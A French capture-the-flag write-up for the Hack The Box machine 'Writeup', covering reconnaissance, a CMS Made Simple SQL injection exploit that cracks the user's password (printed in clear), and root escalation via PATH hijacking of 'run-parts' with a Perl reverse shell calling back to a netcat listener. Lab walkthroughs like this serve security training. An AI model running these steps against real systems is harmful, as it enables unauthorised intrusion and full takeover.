1 - User.txt

root@Host-001:~# nmap 10.10.10.138
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-10 21:01 CEST
Nmap scan report for 10.10.10.138
Host is up (0.060s latency).
Not shown: 998 filtered ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 12.18 seconds

Les ports 80 http et 22 ssh sont ouverts.

Consulter robots.txt: http://10.10.10.138/robots.txt

On trouve:

# Disallow access to the blog until content is finished.
User-agent: * 
Disallow: /writeup/

Consulter http://10.10.10.138/writeup

Il y a plusieurs pages. On voit que l’url est http://10.10.10.138/writeup/index.php?page=writeup

On essaye avec page=flag sans résultat. On pense à du Local File Inclusion mais ne donne aucun résultat…

Wappalyser nous dis que la page utilise CMS Made Simple. La page d’admin est /admin. Ref: https://hostpapasupport.com/log-log-cms-made-simple/

Essayons http://10.10.10.138/writeup/admin

Nous tombons sur une page d’authentification de type htaccess. On modifie le verbe GET mais pas possible de bypasser comme ça :( on essaye d’accéder à .htpasswd mais l’accès est interdit!

Il y a plusieurs exploits concernant CMSMS. Dans notre cas, un exploit intéressant est: https://packetstormsecurity.com/files/152356/CMS-Made-Simple-SQL-Injection.html

Enregistrer l’exploit ‘cmsmadesimple22-sql.py’ et le lancer:

root@kali:~/Desktop# python cmsmadesimple22-sql.py -u http://10.10.10.138/writeup/ --crack -w /usr/share/wordlists/rockyou.txt

Résultat:

[+] Salt for password found: 5a599ef579066807
[+] Username found: jkr
[+] Email found: jkr@writeup.htb
[+] Password found: 62def4866937f08cc13bab43bb14e6f7
[+] Password cracked: raykayjay9

Ces credentials permettent de nous connecter au serveur via ssh:

root@Host-001:~# ssh jkr@10.10.10.138
jkr@10.10.10.138's password: 
Linux writeup 4.9.0-8-amd64 x86_64 GNU/Linux

The programs included with the Devuan GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
jkr@writeup:~$ ls
user.txt

Nous avons accès au flag de l’usager. Passons à l’accès au compte root:

2 - Root.txt

Télécharger pspy: https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64s

Envoyer le fichier sur le serveur:

root@kali:~/Desktop# scp pspy64s jkr@10.10.10.138:/home/jkr
jkr@10.10.10.138's password: 
pspy64s                                       100% 1129KB 172.5KB/s   00:06    
root@kali:~/Desktop#

Se connecter au serveur via SSH:

root@kali:~# ssh jkr@10.10.10.138
jkr@10.10.10.138's password: 
Linux writeup 4.9.0-8-amd64 x86_64 GNU/Linux

The programs included with the Devuan GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Oct  8 08:06:30 2019 from 10.10.14.14
jkr@writeup:~$ ls
pspy64s  user.txt
jkr@writeup:~$ chmod +x pspy64s 
jkr@writeup:~$ ./pspy64s

Résultat:
(...)
2019/10/08 10:56:01 CMD: UID=0    PID=2685   | /usr/sbin/CRON 
2019/10/08 10:56:01 CMD: UID=0    PID=2686   | /usr/sbin/CRON 
2019/10/08 10:56:01 CMD: UID=0    PID=2687   | /bin/sh -c /root/bin/cleanup.pl >/dev/null 2>&1 
2019/10/08 10:56:02 CMD: UID=0    PID=2688   | sshd: jkr [priv]  
2019/10/08 10:56:02 CMD: UID=0    PID=2689   | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new 
2019/10/08 10:56:02 CMD: UID=0    PID=2690   | run-parts --lsbsysinit /etc/update-motd.d 
2019/10/08 10:56:02 CMD: UID=0    PID=2691   | /bin/sh /etc/update-motd.d/10-uname 
2019/10/08 10:56:02 CMD: UID=0    PID=2692   | sshd: jkr [priv]  
(...)

On remarque que le compte root appel ‘run-parts’ et que le PATH de root est PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

Ou est situé ‘run-parts’:

jkr@writeup:~$ which run-parts
/bin/run-parts

Les fichiers appelés par le shell le sont dans l’ordre du PATH. ‘With a real shell the directories are searched in the order they are found in the path statement. So PATH=”/a:/b/1:etc…” the /a will be looked at first.’ Ref: https://www.unix.com/shell-programming-and-scripting/95208-path-dircetory-search-order.html

Dans notre cas nous ne pouvons pas lire les dossiers /usr/local/sbin et /usr/local/bin mais nous pouvons écrire dedans:

jkr@writeup:~$ ls -la /usr/local
total 64
drwxrwsr-x 10 root staff  4096 Apr 19 04:11 .
drwxr-xr-x 10 root root   4096 Apr 19 04:11 ..
drwx-wsr-x  2 root staff 20480 Oct 10 15:09 bin
drwxrwsr-x  2 root staff  4096 Apr 19 04:11 etc
drwxrwsr-x  2 root staff  4096 Apr 19 04:11 games
drwxrwsr-x  2 root staff  4096 Apr 19 04:11 include
drwxrwsr-x  4 root staff  4096 Apr 24 13:13 lib
lrwxrwxrwx  1 root staff     9 Apr 19 04:11 man -> share/man
drwx-wsr-x  2 root staff 12288 Oct 10 14:54 sbin
drwxrwsr-x  7 root staff  4096 Apr 19 04:30 share
drwxrwsr-x  2 root staff  4096 Apr 19 04:11 src

Tentons de créer un reverse-shell dans /usr/local/sbin.

Nous utilisons ici perl-reverse-shell de pentestmonkey Ref: http://pentestmonkey.net/tools/web-shells/perl-reverse-shell

Ce shell est disponible dans Kali Linux dans /usr/share/webshells/perl/ perl-reverse-shell.pl. Ref: https://highon.coffee/blog/reverse-shell-cheat-sheet/

Modifier le shell en mettant son adresse IP (celle du tunnel tun0) et en spécifiant le port d’écoute (Ici 1234). Cf: Ref.

Envoyer le shell sur le serveur:

root@Host-001:~/Bureau# scp perl-reverse-shell.pl jkr@10.10.10.138:/home/jkr
jkr@10.10.10.138's password: 
perl-reverse-shell.pl                         100% 3714   152.7KB/s   00:00  

Ouvrir une session netcat et écouter sur le port enregisté dans perl-reverse-shell.pl

root@Host-001:~/Bureau# nc -v -n -l -p 1234

Sur le serveur, renommer et envoyer le shell dans /usr/local

jkr@writeup:~$ ls
perl-reverse-shell.pl  user.txt
jkr@writeup:~$ cp perl-reverse-shell.pl run-parts
jkr@writeup:~$ ls
perl-reverse-shell.pl  run-parts  user.txt
jkr@writeup:~$ mv run-parts /usr/local/sbin

Attendre et regarder la console ou netcat a été lancé:

root@Host-001:~/Bureau# nc -v -n -l -p 1234
listening on [any] 1234 ...
connect to [10.10.15.65] from (UNKNOWN) [10.10.10.138] 41160
 14:52:54 up 1 min,  3 users,  load average: 0.08, 0.03, 0.01
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
jkr      pts/0    10.10.15.65      14:51   22.00s  0.03s  0.03s -bash
jkr      pts/1    10.10.14.30      14:51   19.00s  0.00s  0.00s -bash
jkr      pts/2    10.10.15.154     14:52    4.00s  0.00s  0.00s top
Linux writeup 4.9.0-8-amd64 #1 SMP Debian 4.9.144-3.1 (2019-02-19) x86_64 GNU/Linux
uid=0(root) gid=0(root) groups=0(root)
/
/usr/sbin/apache: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# cd root
# ls
bin
root.txt
# cat root.txt
eeba47f60b48ef92b734f9b6198d7226

Poursuivez avec : Oneliner Shells

CC-BY

This work is licensed under a Creative Commons Attribution 4.0 International License.